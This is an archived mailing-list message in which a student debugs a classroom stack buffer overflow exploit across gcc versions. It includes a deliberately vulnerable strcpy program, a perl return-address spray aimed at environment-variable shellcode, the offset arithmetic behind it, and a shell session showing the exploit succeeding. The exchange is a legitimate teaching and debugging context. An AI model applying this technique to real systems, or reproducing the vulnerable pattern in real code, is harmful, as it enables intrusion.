--- Begin Message ---
Andrew Haley wrote:
IceDane writes:
> Hey there.
>
> A course in my school involves exploitation of various vulnerabilities,
> such as buffer overflows and format string vulnerabilities and so on.
>
> I'm currently running kbuntu, latest version, which comes with gcc 4.1.2
> stock. If I compile a vulnerable program(A simple strcpy of argv[1] to a
> small buffer) and then attempt to execute an exploit, no matter what i
> do, it fails.
>
> I realize that the ubuntu gcc 4.1.2 compiles with the -fstack-protector
> as default, however, even if I use -fno-stack-protector, the problem
> still prevails.
>
> All kernels since 2.6 also come with virtual address space randomization
> as default, and I've disabled that.
>
> Anyway, I found something that said if you installed gcc 3.3, you'd be
> fine. I try that, and voila, exploit executes accordingly.
>
> Now, I ask - What is it, other than the -fstack-protector flag, which
> can disable buffer overflow exploits like that in gcc?
I suspect that the stack layout has changed, and so your exploit no
longer works. What happened whan you single-stepped through the
exploint injection in gdb?
Andrew.
Well, first time I discovered there was either something in the 2.6
kernel or in gcc, I was on slackware 12.0. I tried to exploit the same
vulnerability as above, by trying to overwrite the return address with
the address of an environment variable. Failing that, I single stepped
through(Even through a 200 iteration loop in strcpy) the code, and
everything seemed in order. And seemingly, the address of the shellcode
was put in EIP on ret.
However, and here comes the strange stuff, instead of executing the
instructions at the address in EIP, it put 4 bytes of the shellcode in
EIP. Eg, if there were NOPs located at the address, it would contain 4
bytes of NOPs. If I miscalculated the address of the shellcode, it would
also contain parts of the environment variable name, such as "ODE=",
being the last four bytes in "SHELLCODE=".
Anyway, then I simply installed Kubuntu, as I was completely unable to
make it work. If I do it here, the same value keeps popping up in eip.
Here's an excerpt from my shell compiling the vulnerability with gcc
4.1.2 and gcc 3.3 respectively:
$ cat vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
$ gcc vuln.c -o vuln -fno-stack-protector
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffff968
$ ./vuln `perl -e 'print "\x68\xf9\xff\xbf"x500'`
Segmentation fault (core dumped)
Core was generated by `*garbage*'.
Program terminated with signal 11, Segmentation fault.
#0 0x3137353d in ?? ()
Now, to demonstrate how this is perfectly valid to exploit with gcc 3.3:
$ gcc3 vuln.c -o vuln
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffff968
$ pcalc 0x5*2
10 0xa 0y1010
$ pcalc 0x68 - 0xa
94 0x5e 0y1011110
$ ./vuln `perl -e 'print "\x5e\xf9\xff\xbf"x500'`
$ whoami
icedane
$ exit
Note that the address of the environment variable is dependent on the
name of the executable. vuln is 4 chars, while getenvaddr is 10 chars,
so the address is diff*2 bytes less because getenvaddr is longer than
vuln. If vuln were longer, it'd be the other way around.
Anyway, the error I got on slackware I figured out to only be possible
IF the shellcode itself somehow overwrote the return address on the
stack. That was impossible, however, as we do not modify the shellcode
when it's lying on the stack.
So, any ideas?
--- End Message ---
